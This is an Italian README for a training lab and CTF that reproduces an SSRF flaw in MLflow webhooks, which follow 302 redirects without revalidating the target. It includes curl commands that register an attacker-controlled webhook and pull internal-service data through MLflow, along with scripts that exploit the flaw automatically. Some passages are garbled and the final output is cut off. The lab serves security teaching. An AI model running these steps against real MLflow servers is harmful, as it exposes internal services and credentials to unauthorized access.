
este laboratorio può essere buono o cattivo, chiedi all'IA, sto testando ma dovrebbe funzionare hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratorio pratico che riproduce la CVE-2026-64849: una vulnerabilità di
tipo SSRF in MLflow causata da un difetto TOCTOU (Time-of-Check /
Time-of-Use) nella gestione dei webhook. MLflow valida l'URL originale del
webhook ma segue i redirect HTTP (302) senza ri-validare la destinazione,
consentendo a un attaccante senza autenticazione di raggiungere servizi interni
a cui non dovrebbe avere accesso (internal-service:8888).
Uso riservato: materiale da laboratorio, esclusivamente per reti e ambienti autorizzati. Vedere Avviso legale.
| Attributo | Valore |
|---|---|
| Vulnerabilità | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Componente interessato | MLflow Tracking Server (< 3.15.0) |
| Versione del lab | MLflow 3.13.0 (non modificato, via pip install) |
| Causa principale | TOCTOU: valida l'URL, segue il 302 senza ri-validare |
| Vettore | HTTP; senza autenticazione |
| Severità dichiarata | CRITICA (CVSS 9.3) — secondo il banner dell'exploit del lab |
| Risultato | Accesso a servizi interni, furto di credenziali, port scanning |
| Durata stimata | 15–20 minuti |
| Livello | Intermedio (Web App Security / Offensive Security) |
MLflow consente di registrare webhook che attivano richieste HTTP in risposta a eventi (dati di modelli, esperimenti, ecc.). Prima di salvare l'URL viene applicata una validazione (schema, IP private, metadata IP). Il difetto si verifica perché:
3xx, la libreria
requests segue automaticamente il redirect e non ri-validano mai l'URL
di destinazione.L'attaccante controlla il primo salto (un server che risponde 302 verso un
servizio interno) e MLflow funge da proxy verso la rete interna.
Vedere l'analisi tecnica completa in EXPLOITATION_GUIDE.md §6.
Al termine del lab lo studente sarà in grado di:
/test ed
esfiltrazione del servizio interno.Pubblico: studenti e professionisti della sicurezza offensiva, pentester, revisori della sicurezza delle applicazioni e sviluppatori che usano MLflow.
Requisiti software:
| Strumento | Versione minima |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Non sono richieste credenziali né autenticazione in MLflow (l'attacco è unauthenticated). Non è necessario l'accesso alla rete interna: il lab la fornisce.
host rete interna Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ attaccante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, segue il redirect) │
│ │ │ internal-service (8888) ← SENZA porte verso │
│ │ │ "/admin/secret" l'host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Componente | Porta | Ruolo nel lab | Modificato? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Vittima / client vulnerabile (MLflow 3.13.0 stock) | No |
attacker-server | 8080 | Server dell'attaccante: /webhook → 302, /redirect?url=, /metadata, dashboard | Solo do_HEAD |
internal-service | 8888 | Vittima in lab_network; /admin/secret e /api/internal/config | No |
Dettaglio di integrità: il servizio vulnerabile e il servizio interno non sono stati modificati. Vedere EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # avvia i 3 container e attende MLflow
bash run_lab.sh exploit # sfrutta automaticamente (SSRF → flag del Livello 1)
Demo guidata passo dopo passo (menu interattivo):
bash manual_exploitation_interactive.sh
🏁 Modalità CTF (risoluzione MANUALE): il lab è una sfida a livelli. Ogni
flag ti lascia l'indizio del livello successivo, così arrivare a ogni flag "ha
senso". E il bello è farlo a mano: ctf_lab.sh non sfrutta al posto tuo,
ti guida e valida solo il tuo flag:
bash ctf_lab.sh # menu interattivo del CTF
bash ctf_lab.sh nivel 1 # istruzioni + indizio del livello (comandi da ESEGUIRE TU MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # valida il flag che hai esfiltrato e decodificato (+pts)
bash ctf_lab.sh status # livelli completati + punteggio (235 pts, senza mostrare i flag)
bash ctf_lab.sh hint 2 # indizio di un livello
bash ctf_lab.sh reset # cancella i progressi
Riferimenti dello script run_lab.sh:
bash run_lab.sh start # start (default) + status endpoint
bash run_lab.sh exploit # esegue exploit.py dentro il container mlflow
bash run_lab.sh manual # mostra i comandi curl passo dopo passo
bash run_lab.sh logs # segue i log in tempo reale
bash run_lab.sh stop # ferma i container
bash run_lab.sh clean # ferma ed elimina i dati del lab
Tutte le chiamate a
/testrichiedono l'headerContent-Type: application/json; senza di esso, MLflow 3.13 risponde400 Bad Request.
# 1. Creare il webhook che punta al server dell'attaccante (reindirizza alla root del portale interno, Livello 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Attivare /test → MLflow valida l'URL, segue il 302 fino al servizio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Estrarre i dati esfiltrati (annidati in result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Risultato atteso del passo 3 (Livello 1 del CTF):